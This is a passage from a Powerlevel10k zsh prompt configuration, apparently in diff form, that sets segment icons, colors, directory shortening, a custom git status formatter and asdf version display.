# load # CPU load + # disk_usage # disk usage + # ram # free RAM + # swap # used swap +# todo # todo items (https://github.com/todotxt/todo.txt-cli) +# timewarrior # timewarrior tracking status (https://timewarrior.net/) +# taskwarrior # taskwarrior task count (https://taskwarrior.org/) + # time # current time + # ip # ip address and bandwidth usage for a specified network interface + # public_ip # public IP address + # proxy # system-wide http/https/ftp proxy + # battery # internal battery + # wifi # wifi speed + # example # example user-defined segment (see prompt_example function below) + ) + + # Defines character set used by powerlevel10k. It's best to let `p10k configure` set it for you. + typeset -g POWERLEVEL9K_MODE=nerdfont-complete + # When set to `moderate`, some icons will have an extra space after them. This is meant to avoid + # icon overlap when using non-monospace fonts. When set to `none`, spaces are not added. + typeset -g POWERLEVEL9K_ICON_PADDING=moderate + + # When set to true, icons appear before content on both sides of the prompt. When set + # to false, icons go after content. If empty or not set, icons go before content in the left + # prompt and after content in the right prompt. + # + # You can also override it for a specific segment: + # + # POWERLEVEL9K_STATUS_ICON_BEFORE_CONTENT=false + # + # Or for a specific segment in specific state: + # + # POWERLEVEL9K_DIR_NOT_WRITABLE_ICON_BEFORE_CONTENT=false + typeset -g POWERLEVEL9K_ICON_BEFORE_CONTENT= + + # Add an empty line before each prompt. + typeset -g POWERLEVEL9K_PROMPT_ADD_NEWLINE=true + + # Connect left prompt lines with these symbols. You'll probably want to use the same color + # as POWERLEVEL9K_MULTILINE_FIRST_PROMPT_GAP_FOREGROUND below. + typeset -g POWERLEVEL9K_MULTILINE_FIRST_PROMPT_PREFIX='%240F╭─' + typeset -g POWERLEVEL9K_MULTILINE_NEWLINE_PROMPT_PREFIX='%240F├─' + typeset -g POWERLEVEL9K_MULTILINE_LAST_PROMPT_PREFIX='%240F╰─' + # Connect right prompt lines with these symbols. + typeset -g POWERLEVEL9K_MULTILINE_FIRST_PROMPT_SUFFIX='%240F─╮' + typeset -g POWERLEVEL9K_MULTILINE_NEWLINE_PROMPT_SUFFIX='%240F─┤' + typeset -g POWERLEVEL9K_MULTILINE_LAST_PROMPT_SUFFIX='%240F─╯' + + # Filler between left and right prompt on the first prompt line. You can set it to ' ', '·' or + # '─'. The last two make it easier to see the alignment between left and right prompt and to + # separate prompt from command output. You might want to set POWERLEVEL9K_PROMPT_ADD_NEWLINE=false + # for more compact prompt if using this option. + typeset -g POWERLEVEL9K_MULTILINE_FIRST_PROMPT_GAP_CHAR=' ' + typeset -g POWERLEVEL9K_MULTILINE_FIRST_PROMPT_GAP_BACKGROUND= + typeset -g POWERLEVEL9K_MULTILINE_NEWLINE_PROMPT_GAP_BACKGROUND= + if [[ $POWERLEVEL9K_MULTILINE_FIRST_PROMPT_GAP_CHAR != ' ' ]]; then + # The color of the filler. You'll probably want to match the color of POWERLEVEL9K_MULTILINE + # ornaments defined above. + typeset -g POWERLEVEL9K_MULTILINE_FIRST_PROMPT_GAP_FOREGROUND=240 + # Start filler from the edge of the screen if there are no left segments on the first line. + typeset -g POWERLEVEL9K_EMPTY_LINE_LEFT_PROMPT_FIRST_SEGMENT_END_SYMBOL='%{%}' + # End filler on the edge of the screen if there are no right segments on the first line. + typeset -g POWERLEVEL9K_EMPTY_LINE_RIGHT_PROMPT_FIRST_SEGMENT_START_SYMBOL='%{%}' + fi + + # Default background color. + typeset -g POWERLEVEL9K_BACKGROUND=236 + + # Separator between same-color segments on the left. + typeset -g POWERLEVEL9K_LEFT_SUBSEGMENT_SEPARATOR='%244F\uE0B1' + # Separator between same-color segments on the right. + typeset -g POWERLEVEL9K_RIGHT_SUBSEGMENT_SEPARATOR='%244F\uE0B3' + # Separator between different-color segments on the left. + typeset -g POWERLEVEL9K_LEFT_SEGMENT_SEPARATOR='\uE0B0' + # Separator between different-color segments on the right. + typeset -g POWERLEVEL9K_RIGHT_SEGMENT_SEPARATOR='\uE0B2' + # The right end of left prompt. + typeset -g POWERLEVEL9K_LEFT_PROMPT_LAST_SEGMENT_END_SYMBOL='▓▒░' + # The left end of right prompt. + typeset -g POWERLEVEL9K_RIGHT_PROMPT_FIRST_SEGMENT_START_SYMBOL='░▒▓' + # The left end of left prompt. + typeset -g POWERLEVEL9K_LEFT_PROMPT_FIRST_SEGMENT_START_SYMBOL='░▒▓' + # The right end of right prompt. + typeset -g POWERLEVEL9K_RIGHT_PROMPT_LAST_SEGMENT_END_SYMBOL='▓▒░' + # Left prompt terminator for lines without any segments. + typeset -g POWERLEVEL9K_EMPTY_LINE_LEFT_PROMPT_LAST_SEGMENT_END_SYMBOL= + + #################################[ os_icon: os identifier ]################################## + # OS identifier color. + typeset -g POWERLEVEL9K_OS_ICON_FOREGROUND=255 + # Custom icon. + # typeset -g POWERLEVEL9K_OS_ICON_CONTENT_EXPANSION='⭐' + + ################################[ prompt_char: prompt symbol ]################################ + # Transparent background. + typeset -g POWERLEVEL9K_PROMPT_CHAR_BACKGROUND= + # Green prompt symbol if the last command succeeded. + typeset -g POWERLEVEL9K_PROMPT_CHAR_OK_{VIINS,VICMD,VIVIS,VIOWR}_FOREGROUND=76 + # Red prompt symbol if the last command failed. + typeset -g POWERLEVEL9K_PROMPT_CHAR_ERROR_{VIINS,VICMD,VIVIS,VIOWR}_FOREGROUND=196 + # Default prompt symbol. + typeset -g POWERLEVEL9K_PROMPT_CHAR_{OK,ERROR}_VIINS_CONTENT_EXPANSION='❯' + # Prompt symbol in command vi mode. + typeset -g POWERLEVEL9K_PROMPT_CHAR_{OK,ERROR}_VICMD_CONTENT_EXPANSION='❮' + # Prompt symbol in visual vi mode. + typeset -g POWERLEVEL9K_PROMPT_CHAR_{OK,ERROR}_VIVIS_CONTENT_EXPANSION='V' + # Prompt symbol in overwrite vi mode. + typeset -g POWERLEVEL9K_PROMPT_CHAR_{OK,ERROR}_VIOWR_CONTENT_EXPANSION='▶' + typeset -g POWERLEVEL9K_PROMPT_CHAR_OVERWRITE_STATE=true + # No line terminator if prompt_char is the last segment. + typeset -g POWERLEVEL9K_PROMPT_CHAR_LEFT_PROMPT_LAST_SEGMENT_END_SYMBOL= + # No line introducer if prompt_char is the first segment. + typeset -g POWERLEVEL9K_PROMPT_CHAR_LEFT_PROMPT_FIRST_SEGMENT_START_SYMBOL= + # No surrounding whitespace. + typeset -g POWERLEVEL9K_PROMPT_CHAR_LEFT_{LEFT,RIGHT}_WHITESPACE= + + ##################################[ dir: current directory ]################################## + # Default current directory color. + typeset -g POWERLEVEL9K_DIR_FOREGROUND=31 + # If directory is too long, shorten some of its segments to the shortest possible unique + # prefix. The shortened directory can be tab-completed to the original. + typeset -g POWERLEVEL9K_SHORTEN_STRATEGY=truncate_to_unique + # Replace removed segment suffixes with this symbol. + typeset -g POWERLEVEL9K_SHORTEN_DELIMITER= + # Color of the shortened directory segments. + typeset -g POWERLEVEL9K_DIR_SHORTENED_FOREGROUND=103 + # Color of the anchor directory segments. Anchor segments are never shortened. The first + # segment is always an anchor. + typeset -g POWERLEVEL9K_DIR_ANCHOR_FOREGROUND=39 + # Display anchor directory segments in bold. + typeset -g POWERLEVEL9K_DIR_ANCHOR_BOLD=true + # Don't shorten directories that contain any of these files. They are anchors. + local anchor_files=( + .bzr + .citc + .git + .hg + .node-version + .python-version + .go-version + .ruby-version + .lua-version + .java-version + .perl-version + .php-version + .tool-version + .shorten_folder_marker + .svn + .terraform + CVS + Cargo.toml + composer.json + go.mod + package.json + stack.yaml + ) + typeset -g POWERLEVEL9K_SHORTEN_FOLDER_MARKER="(${(j:|:)anchor_files})" + # If set to "first" ("last"), remove everything before the first (last) subdirectory that contains + # files matching $POWERLEVEL9K_SHORTEN_FOLDER_MARKER. For example, when the current directory is + # /foo/bar/git_repo/nested_git_repo/baz, prompt will display git_repo/nested_git_repo/baz (first) + # or nested_git_repo/baz (last). This assumes that git_repo and nested_git_repo contain markers + # and other directories don't. + # + # Optionally, "first" and "last" can be followed by ":" where is an integer. + # This moves the truncation point to the right (positive offset) or to the left (negative offset) + # relative to the marker. Plain "first" and "last" are equivalent to "first:0" and "last:0" + # respectively. + typeset -g POWERLEVEL9K_DIR_TRUNCATE_BEFORE_MARKER=false + # Don't shorten this many last directory segments. They are anchors. + typeset -g POWERLEVEL9K_SHORTEN_DIR_LENGTH=1 + # Shorten directory if it's longer than this even if there is space for it. The value can + # be either absolute (e.g., '80') or a percentage of terminal width (e.g, '50%'). If empty, + # directory will be shortened only when prompt doesn't fit or when other parameters demand it + # (see POWERLEVEL9K_DIR_MIN_COMMAND_COLUMNS and POWERLEVEL9K_DIR_MIN_COMMAND_COLUMNS_PCT below). + # If set to `0`, directory will always be shortened to its minimum length. + typeset -g POWERLEVEL9K_DIR_MAX_LENGTH=80 + # When `dir` segment is on the last prompt line, try to shorten it enough to leave at least this + # many columns for typing commands. + typeset -g POWERLEVEL9K_DIR_MIN_COMMAND_COLUMNS=40 + # When `dir` segment is on the last prompt line, try to shorten it enough to leave at least + # COLUMNS * POWERLEVEL9K_DIR_MIN_COMMAND_COLUMNS_PCT * 0.01 columns for typing commands. + typeset -g POWERLEVEL9K_DIR_MIN_COMMAND_COLUMNS_PCT=50 + # If set to true, embed a hyperlink into the directory. Useful for quickly + # opening a directory in the file manager simply by clicking the link. + # Can also be handy when the directory is shortened, as it allows you to see + # the full directory that was used in previous commands. + typeset -g POWERLEVEL9K_DIR_HYPERLINK=false + + # Enable special styling for non-writable and non-existent directories. See POWERLEVEL9K_LOCK_ICON + # and POWERLEVEL9K_DIR_CLASSES below. + typeset -g POWERLEVEL9K_DIR_SHOW_WRITABLE=v3 + + # The default icon shown next to non-writable and non-existent directories when + # POWERLEVEL9K_DIR_SHOW_WRITABLE is set to v3. + # typeset -g POWERLEVEL9K_LOCK_ICON='⭐' + + # POWERLEVEL9K_DIR_CLASSES allows you to specify custom icons and colors for different + # directories. It must be an array with 3 * N elements. Each triplet consists of: + # + # 1. A pattern against which the current directory ($PWD) is matched. Matching is done with + # extended_glob option enabled. + # 2. Directory class for the purpose of styling. + # 3. An empty string. + # + # Triplets are tried in order. The first triplet whose pattern matches $PWD wins. + # + # If POWERLEVEL9K_DIR_SHOW_WRITABLE is set to v3, non-writable and non-existent directories + # acquire class suffix _NOT_WRITABLE and NON_EXISTENT respectively. + # + # For example, given these settings: + # + # typeset -g POWERLEVEL9K_DIR_CLASSES=( + # '~/work(|/*)' WORK '' + # '~(|/*)' HOME '' + # '*' DEFAULT '') + # + # Whenever the current directory is ~/work or a subdirectory of ~/work, it gets styled with one + # of the following classes depending on its writability and existence: WORK, WORK_NOT_WRITABLE or + # WORK_NON_EXISTENT. + # + # Simply assigning classes to directories doesn't have any visible effects. It merely gives you an + # option to define custom colors and icons for different directory classes. + # + # # Styling for WORK. + # typeset -g POWERLEVEL9K_DIR_WORK_VISUAL_IDENTIFIER_EXPANSION='⭐' + # typeset -g POWERLEVEL9K_DIR_WORK_FOREGROUND=31 + # typeset -g POWERLEVEL9K_DIR_WORK_SHORTENED_FOREGROUND=103 + # typeset -g POWERLEVEL9K_DIR_WORK_ANCHOR_FOREGROUND=39 + # + # # Styling for WORK_NOT_WRITABLE. + # typeset -g POWERLEVEL9K_DIR_WORK_NOT_WRITABLE_VISUAL_IDENTIFIER_EXPANSION='⭐' + # typeset -g POWERLEVEL9K_DIR_WORK_NOT_WRITABLE_FOREGROUND=31 + # typeset -g POWERLEVEL9K_DIR_WORK_NOT_WRITABLE_SHORTENED_FOREGROUND=103 + # typeset -g POWERLEVEL9K_DIR_WORK_NOT_WRITABLE_ANCHOR_FOREGROUND=39 + # + # # Styling for WORK_NON_EXISTENT. + # typeset -g POWERLEVEL9K_DIR_WORK_NON_EXISTENT_VISUAL_IDENTIFIER_EXPANSION='⭐' + # typeset -g POWERLEVEL9K_DIR_WORK_NON_EXISTENT_FOREGROUND=31 + # typeset -g POWERLEVEL9K_DIR_WORK_NON_EXISTENT_SHORTENED_FOREGROUND=103 + # typeset -g POWERLEVEL9K_DIR_WORK_NON_EXISTENT_ANCHOR_FOREGROUND=39 + # + # If a styling parameter isn't explicitly defined for some class, it falls back to the classless + # parameter. For example, if POWERLEVEL9K_DIR_WORK_NOT_WRITABLE_FOREGROUND is not set, it falls + # back to POWERLEVEL9K_DIR_FOREGROUND. + # + # typeset -g POWERLEVEL9K_DIR_CLASSES=() + + # Custom prefix. + # typeset -g POWERLEVEL9K_DIR_PREFIX='%246Fin ' + + #####################################[ vcs: git status ]###################################### + # Branch icon. Set this parameter to '\uF126 ' for the popular Powerline branch icon. + typeset -g POWERLEVEL9K_VCS_BRANCH_ICON='\uF126 ' + + # Untracked files icon. It's really a question mark, your font isn't broken. + # Change the value of this parameter to show a different icon. + typeset -g POWERLEVEL9K_VCS_UNTRACKED_ICON='?' + + # Formatter for Git status. + # + # Example output: master wip ⇣42⇡42 *42 merge ~42 +42 !42 ?42. + # + # You can edit the function to customize how Git status looks. + # + # VCS_STATUS_* parameters are set by gitstatus plugin. See reference: + # https://github.com/romkatv/gitstatus/blob/master/gitstatus.plugin.zsh. + function my_git_formatter() { + emulate -L zsh + + if [[ -n $P9K_CONTENT ]]; then + # If P9K_CONTENT is not empty, use it. It's either "loading" or from vcs_info (not from + # gitstatus plugin). VCS_STATUS_* parameters are not available in this case. + typeset -g my_git_format=$P9K_CONTENT + return + fi + + if (( $1 )); then + # Styling for up-to-date Git status. + local meta='%246F' # grey foreground + local clean='%76F' # green foreground + local modified='%178F' # yellow foreground + local untracked='%39F' # blue foreground + local conflicted='%196F' # red foreground + else + # Styling for incomplete and stale Git status. + local meta='%244F' # grey foreground + local clean='%244F' # grey foreground + local modified='%244F' # grey foreground + local untracked='%244F' # grey foreground + local conflicted='%244F' # grey foreground + fi + + local res + + if [[ -n $VCS_STATUS_LOCAL_BRANCH ]]; then + local branch=${(V)VCS_STATUS_LOCAL_BRANCH} + # If local branch name is at most 32 characters long, show it in full. + # Otherwise show the first 12 … the last 12. + # Tip: To always show local branch name in full without truncation, delete the next line. + (( $#branch > 32 )) && branch[13,-13]="…" # <-- this line + res+="${clean}${(g::)POWERLEVEL9K_VCS_BRANCH_ICON}${branch//\%/%%}" + fi + + if [[ -n $VCS_STATUS_TAG + # Show tag only if not on a branch. + # Tip: To always show tag, delete the next line. + && -z $VCS_STATUS_LOCAL_BRANCH # <-- this line + ]]; then + local tag=${(V)VCS_STATUS_TAG} + # If tag name is at most 32 characters long, show it in full. + # Otherwise show the first 12 … the last 12. + # Tip: To always show tag name in full without truncation, delete the next line. + (( $#tag > 32 )) && tag[13,-13]="…" # <-- this line + res+="${meta}#${clean}${tag//\%/%%}" + fi + + # Display the current Git commit if there is no branch and no tag. + # Tip: To always display the current Git commit, delete the next line. + [[ -z $VCS_STATUS_LOCAL_BRANCH && -z $VCS_STATUS_TAG ]] && # <-- this line + res+="${meta}@${clean}${VCS_STATUS_COMMIT[1,8]}" + + # Show tracking branch name if it differs from local branch. + if [[ -n ${VCS_STATUS_REMOTE_BRANCH:#$VCS_STATUS_LOCAL_BRANCH} ]]; then + res+="${meta}:${clean}${(V)VCS_STATUS_REMOTE_BRANCH//\%/%%}" + fi + + # Display "wip" if the latest commit's summary contains "wip" or "WIP". + if [[ $VCS_STATUS_COMMIT_SUMMARY == (|*[^[:alnum:]])(wip|WIP)(|[^[:alnum:]]*) ]]; then + res+=" ${modified}wip" + fi + + # ⇣42 if behind the remote. + (( VCS_STATUS_COMMITS_BEHIND )) && res+=" ${clean}⇣${VCS_STATUS_COMMITS_BEHIND}" + # ⇡42 if ahead of the remote; no leading space if also behind the remote: ⇣42⇡42. + (( VCS_STATUS_COMMITS_AHEAD && !VCS_STATUS_COMMITS_BEHIND )) && res+=" " + (( VCS_STATUS_COMMITS_AHEAD )) && res+="${clean}⇡${VCS_STATUS_COMMITS_AHEAD}" + # ⇠42 if behind the push remote. + (( VCS_STATUS_PUSH_COMMITS_BEHIND )) && res+=" ${clean}⇠${VCS_STATUS_PUSH_COMMITS_BEHIND}" + (( VCS_STATUS_PUSH_COMMITS_AHEAD && !VCS_STATUS_PUSH_COMMITS_BEHIND )) && res+=" " + # ⇢42 if ahead of the push remote; no leading space if also behind: ⇠42⇢42. + (( VCS_STATUS_PUSH_COMMITS_AHEAD )) && res+="${clean}⇢${VCS_STATUS_PUSH_COMMITS_AHEAD}" + # *42 if have stashes. + (( VCS_STATUS_STASHES )) && res+=" ${clean}*${VCS_STATUS_STASHES}" + # 'merge' if the repo is in an unusual state. + [[ -n $VCS_STATUS_ACTION ]] && res+=" ${conflicted}${VCS_STATUS_ACTION}" + # ~42 if have merge conflicts. + (( VCS_STATUS_NUM_CONFLICTED )) && res+=" ${conflicted}~${VCS_STATUS_NUM_CONFLICTED}" + # +42 if have staged changes. + (( VCS_STATUS_NUM_STAGED )) && res+=" ${modified}+${VCS_STATUS_NUM_STAGED}" + # !42 if have unstaged changes. + (( VCS_STATUS_NUM_UNSTAGED )) && res+=" ${modified}!${VCS_STATUS_NUM_UNSTAGED}" + # ?42 if have untracked files. It's really a question mark, your font isn't broken. + # See POWERLEVEL9K_VCS_UNTRACKED_ICON above if you want to use a different icon. + # Remove the next line if you don't want to see untracked files at all. + (( VCS_STATUS_NUM_UNTRACKED )) && res+=" ${untracked}${(g::)POWERLEVEL9K_VCS_UNTRACKED_ICON}${VCS_STATUS_NUM_UNTRACKED}" + # "─" if the number of unstaged files is unknown. This can happen due to + # POWERLEVEL9K_VCS_MAX_INDEX_SIZE_DIRTY (see below) being set to a non-negative number lower + # than the number of files in the Git index, or due to bash.showDirtyState being set to false + # in the repository config. The number of staged and untracked files may also be unknown + # in this case. + (( VCS_STATUS_HAS_UNSTAGED == -1 )) && res+=" ${modified}─" + + typeset -g my_git_format=$res + } + functions -M my_git_formatter 2>/dev/null + + # Don't count the number of unstaged, untracked and conflicted files in Git repositories with + # more than this many files in the index. Negative value means infinity. + # + # If you are working in Git repositories with tens of millions of files and seeing performance + # sagging, try setting POWERLEVEL9K_VCS_MAX_INDEX_SIZE_DIRTY to a number lower than the output + # of `git ls-files | wc -l`. Alternatively, add `bash.showDirtyState = false` to the repository's + # config: `git config bash.showDirtyState false`. + typeset -g POWERLEVEL9K_VCS_MAX_INDEX_SIZE_DIRTY=-1 + + # Don't show Git status in prompt for repositories whose workdir matches this pattern. + # For example, if set to '~', the Git repository at $HOME/.git will be ignored. + # Multiple patterns can be combined with '|': '~(|/foo)|/bar/baz/*'. + typeset -g POWERLEVEL9K_VCS_DISABLED_WORKDIR_PATTERN='~' + + # Disable the default Git status formatting. + typeset -g POWERLEVEL9K_VCS_DISABLE_GITSTATUS_FORMATTING=true + # Install our own Git status formatter. + typeset -g POWERLEVEL9K_VCS_CONTENT_EXPANSION='${$((my_git_formatter(1)))+${my_git_format}}' + typeset -g POWERLEVEL9K_VCS_LOADING_CONTENT_EXPANSION='${$((my_git_formatter(0)))+${my_git_format}}' + # Enable counters for staged, unstaged, etc. + typeset -g POWERLEVEL9K_VCS_{STAGED,UNSTAGED,UNTRACKED,CONFLICTED,COMMITS_AHEAD,COMMITS_BEHIND}_MAX_NUM=-1 + + # Icon color. + typeset -g POWERLEVEL9K_VCS_VISUAL_IDENTIFIER_COLOR=76 + typeset -g POWERLEVEL9K_VCS_LOADING_VISUAL_IDENTIFIER_COLOR=244 + # Custom icon. + # typeset -g POWERLEVEL9K_VCS_VISUAL_IDENTIFIER_EXPANSION='⭐' + # Custom prefix. + typeset -g POWERLEVEL9K_VCS_PREFIX='%246Fon ' + + # Show status of repositories of these types. You can add svn and/or hg if you are + # using them. If you do, your prompt may become slow even when your current directory + # isn't in an svn or hg reposotiry. + typeset -g POWERLEVEL9K_VCS_BACKENDS=(git) + + # These settings are used for repositories other than Git or when gitstatusd fails and + # Powerlevel10k has to fall back to using vcs_info. + typeset -g POWERLEVEL9K_VCS_CLEAN_FOREGROUND=76 + typeset -g POWERLEVEL9K_VCS_UNTRACKED_FOREGROUND=76 + typeset -g POWERLEVEL9K_VCS_MODIFIED_FOREGROUND=178 + + ##########################[ status: exit code of the last command ]########################### + # Enable OK_PIPE, ERROR_PIPE and ERROR_SIGNAL status states to allow us to enable, disable and + # style them independently from the regular OK and ERROR state. + typeset -g POWERLEVEL9K_STATUS_EXTENDED_STATES=true + + # Status on success. No content, just an icon. No need to show it if prompt_char is enabled as + # it will signify success by turning green. + typeset -g POWERLEVEL9K_STATUS_OK=true + typeset -g POWERLEVEL9K_STATUS_OK_FOREGROUND=70 + typeset -g POWERLEVEL9K_STATUS_OK_VISUAL_IDENTIFIER_EXPANSION='✔' + + # Status when some part of a pipe command fails but the overall exit status is zero. It may look + # like this: 1|0. + typeset -g POWERLEVEL9K_STATUS_OK_PIPE=true + typeset -g POWERLEVEL9K_STATUS_OK_PIPE_FOREGROUND=70 + typeset -g POWERLEVEL9K_STATUS_OK_PIPE_VISUAL_IDENTIFIER_EXPANSION='✔' + + # Status when it's just an error code (e.g., '1'). No need to show it if prompt_char is enabled as + # it will signify error by turning red. + typeset -g POWERLEVEL9K_STATUS_ERROR=true + typeset -g POWERLEVEL9K_STATUS_ERROR_FOREGROUND=160 + typeset -g POWERLEVEL9K_STATUS_ERROR_VISUAL_IDENTIFIER_EXPANSION='✘' + + # Status when the last command was terminated by a signal. + typeset -g POWERLEVEL9K_STATUS_ERROR_SIGNAL=true + typeset -g POWERLEVEL9K_STATUS_ERROR_SIGNAL_FOREGROUND=160 + # Use terse signal names: "INT" instead of "SIGINT(2)". + typeset -g POWERLEVEL9K_STATUS_VERBOSE_SIGNAME=false + typeset -g POWERLEVEL9K_STATUS_ERROR_SIGNAL_VISUAL_IDENTIFIER_EXPANSION='✘' + + # Status when some part of a pipe command fails and the overall exit status is also non-zero. + # It may look like this: 1|0. + typeset -g POWERLEVEL9K_STATUS_ERROR_PIPE=true + typeset -g POWERLEVEL9K_STATUS_ERROR_PIPE_FOREGROUND=160 + typeset -g POWERLEVEL9K_STATUS_ERROR_PIPE_VISUAL_IDENTIFIER_EXPANSION='✘' + + ###################[ command_execution_time: duration of the last command ]################### + # Show duration of the last command if takes at least this many seconds. + typeset -g POWERLEVEL9K_COMMAND_EXECUTION_TIME_THRESHOLD=3 + # Show this many fractional digits. Zero means round to seconds. + typeset -g POWERLEVEL9K_COMMAND_EXECUTION_TIME_PRECISION=0 + # Execution time color. + typeset -g POWERLEVEL9K_COMMAND_EXECUTION_TIME_FOREGROUND=248 + # Duration format: 1d 2h 3m 4s. + typeset -g POWERLEVEL9K_COMMAND_EXECUTION_TIME_FORMAT='d h m s' + # Custom icon. + # typeset -g POWERLEVEL9K_COMMAND_EXECUTION_TIME_VISUAL_IDENTIFIER_EXPANSION='⭐' + # Custom prefix. + typeset -g POWERLEVEL9K_COMMAND_EXECUTION_TIME_PREFIX='%246Ftook ' + + #######################[ background_jobs: presence of background jobs ]####################### + # Don't show the number of background jobs. + typeset -g POWERLEVEL9K_BACKGROUND_JOBS_VERBOSE=false + # Background jobs color. + typeset -g POWERLEVEL9K_BACKGROUND_JOBS_FOREGROUND=37 + # Custom icon. + # typeset -g POWERLEVEL9K_BACKGROUND_JOBS_VISUAL_IDENTIFIER_EXPANSION='⭐' + + #######################[ direnv: direnv status (https://direnv.net/) ]######################## + # Direnv color. + typeset -g POWERLEVEL9K_DIRENV_FOREGROUND=178 + # Custom icon. + # typeset -g POWERLEVEL9K_DIRENV_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ###############[ asdf: asdf version manager (https://github.com/asdf-vm/asdf) ]############### + # Default asdf color. Only used to display tools for which there is no color override (see below). + # Tip: Override this parameter for ${TOOL} with POWERLEVEL9K_ASDF_${TOOL}_FOREGROUND. + typeset -g POWERLEVEL9K_ASDF_FOREGROUND=66 + + # There are four parameters that can be used to hide asdf tools. Each parameter describes + # conditions under which a tool gets hidden. Parameters can hide tools but not unhide them. If at + # least one parameter decides to hide a tool, that tool gets hidden. If no parameter decides to + # hide a tool, it gets shown. + # + # Special note on the difference between POWERLEVEL9K_ASDF_SOURCES and + # POWERLEVEL9K_ASDF_PROMPT_ALWAYS_SHOW. Consider the effect of the following commands: + # + # asdf local python 3.8.1 + # asdf global python 3.8.1 + # + # After running both commands the current python version is 3.8.1 and its source is "local" as + # it takes precedence over "global". If POWERLEVEL9K_ASDF_PROMPT_ALWAYS_SHOW is set to false, + # it'll hide python version in this case because 3.8.1 is the same as the global version. + # POWERLEVEL9K_ASDF_SOURCES will hide python version only if the value of this parameter doesn't + # contain "local". + + # Hide tool versions that don't come from one of these sources. + # + # Available sources: + # + # - shell `asdf current` says "set by ASDF_${TOOL}_VERSION environment variable" + # - local `asdf current` says "set by /some/not/home/directory/file" + # - global `asdf current` says "set by /home/username/file" + # + # Note: If this parameter is set to (shell local global), it won't hide tools. + # Tip: Override this parameter for ${TOOL} with POWERLEVEL9K_ASDF_${TOOL}_SOURCES. + typeset -g POWERLEVEL9K_ASDF_SOURCES=(shell local global) + + # If set to false, hide tool versions that are the same as global. + # + # Note: The name of this parameter doesn't reflect its meaning at all. + # Note: If this parameter is set to true, it won't hide tools. + # Tip: Override this parameter for ${TOOL} with POWERLEVEL9K_ASDF_${TOOL}_PROMPT_ALWAYS_SHOW. + typeset -g POWERLEVEL9K_ASDF_PROMPT_ALWAYS_SHOW=false + + # If set to false, hide tool versions that are equal to "system". + # + # Note: If this parameter is set to true, it won't hide tools. + # Tip: Override this parameter for ${TOOL} with POWERLEVEL9K_ASDF_${TOOL}_SHOW_SYSTEM. + typeset -g POWERLEVEL9K_ASDF_SHOW_SYSTEM=true + + # If set to non-empty value, hide tools unless there is a file matching the specified file pattern + # in the current directory, or its parent directory, or its grandparent directory, and so on. + # + # Note: If this parameter is set to empty value, it won't hide tools. + # Note: SHOW_ON_UPGLOB isn't specific to asdf. It works with all prompt segments. + # Tip: Override this parameter for ${TOOL} with POWERLEVEL9K_ASDF_${TOOL}_SHOW_ON_UPGLOB. + # + # Example: Hide nodejs version when there is no package.json and no *.js files in the current + # directory, in `..`, in `../..` and so on. + # + # typeset -g POWERLEVEL9K_ASDF_NODEJS_SHOW_ON_UPGLOB='*.js|package.json' + typeset -g POWERLEVEL9K_ASDF_SHOW_ON_UPGLOB= + + # Ruby version from asdf. + typeset -g POWERLEVEL9K_ASDF_RUBY_FOREGROUND=168 + # typeset -g POWERLEVEL9K_ASDF_RUBY_VISUAL_IDENTIFIER_EXPANSION='⭐' + # typeset -g POWERLEVEL9K_ASDF_RUBY_SHOW_ON_UPGLOB='*.foo|*.bar' + + # Python version from asdf. + typeset -g POWERLEVEL9K_ASDF_PYTHON_FOREGROUND=37 + # typeset -g POWERLEVEL9K_ASDF_PYTHON_VISUAL_IDENTIFIER_EXPANSION='⭐' + # typeset -g POWERLEVEL9K_ASDF_PYTHON_SHOW_ON_UPGLOB='*.foo|*.bar' + + # Go version from asdf. + typeset -g POWERLEVEL9K_ASDF_GOLANG_FOREGROUND=37 + # typeset -g POWERLEVEL9K_ASDF_GOLANG_VISUAL_IDENTIFIER_EXPANSION='⭐' + # typeset -g POWERLEVEL9K_ASDF_GOLANG_SHOW_ON_UPGLOB='*.foo|*.bar' + + # Node.js version from asdf. + typeset -g POWERLEVEL9K_ASDF_NODEJS_FOREGROUND=70 + # typeset -g POWERLEVEL9K_ASDF_NODEJS_VISUAL_IDENTIFIER_EXPANSION='⭐' + # typeset -g POWERLEVEL9K_ASDF_NODEJS_SHOW_ON_UPGLOB='*.foo|*.bar' + + # Rust version from asdf. + typeset -g POWERLEVEL9K_ASDF_RUST_FOREGROUND=37 + # typeset -g POWERLEVEL9K_ASDF_RUST_VISUAL_IDENTIFIER_EXPANSION='⭐' + # typeset -g POWERLEVEL9K_ASDF_RUST_SHOW_ON_UPGLOB='*.foo|*.bar' + + # .NET Core version from asdf. + typeset -g POWERLEVEL9K_ASDF_DOTNET_CORE_FOREGROUND=134 + # typeset -g POWERLEVEL9K_ASDF_DOTNET_CORE_VISUAL_IDENTIFIER_EXPANSION='⭐' + # typeset -g POWERLEVEL9K_ASDF_DOTNET_CORE_SHOW_ON_UPGLOB='*.foo|*.bar' + + # Flutter version from asdf. + typeset -g POWERLEVEL9K_ASDF_FLUTTER_FOREGROUND=38 + # typeset -g POWERLEVEL9K_ASDF_FLUTTER_VISUAL_IDENTIFIER_EXPANSION='⭐' + # typeset -g POWERLEVEL9K_ASDF_FLUTTER_SHOW_ON_UPGLOB='*.foo|*.bar' + + # Lua version from asdf. + typeset -g POWERLEVEL9K_ASDF_LUA_FOREGROUND=32 + # typeset -g POWERLEVEL9K_ASDF_LUA_VISUAL_IDENTIFIER_EXPANSION='⭐' + # typeset -g POWERLEVEL9K_ASDF_LUA_SHOW_ON_UPGLOB='*.foo|*.bar' + + # Java version from asdf. + typeset -g POWERLEVEL9K_ASDF_JAVA_FOREGROUND=32 + # typeset -g POWERLEVEL9K_ASDF_JAVA_VISUAL_IDENTIFIER_EXPANSION='⭐' + # typeset -g POWERLEVEL9K_ASDF_JAVA_SHOW_ON_UPGLOB='*.foo|*.bar' + + # Perl version from asdf. + typeset -g POWERLEVEL9K_ASDF_PERL_FOREGROUND=67 + # typeset -g POWERLEVEL9K_ASDF_PERL_VISUAL_IDENTIFIER_EXPANSION='⭐' + # typeset -g POWERLEVEL9K_ASDF_PERL_SHOW_ON_UPGLOB='*.foo|*.bar' + + # Erlang version from asdf. + typeset -g POWERLEVEL9K_ASDF_ERLANG_FOREGROUND=125 + # typeset -g POWERLEVEL9K_ASDF_ERLANG_VISUAL_IDENTIFIER_EXPANSION='⭐' + # typeset -g POWERLEVEL9K_ASDF_ERLANG_SHOW_ON_UPGLOB='*.foo|*.bar' + + # Elixir version from asdf. + typeset -g POWERLEVEL9K_ASDF_ELIXIR_FOREGROUND=129 + # typeset -g 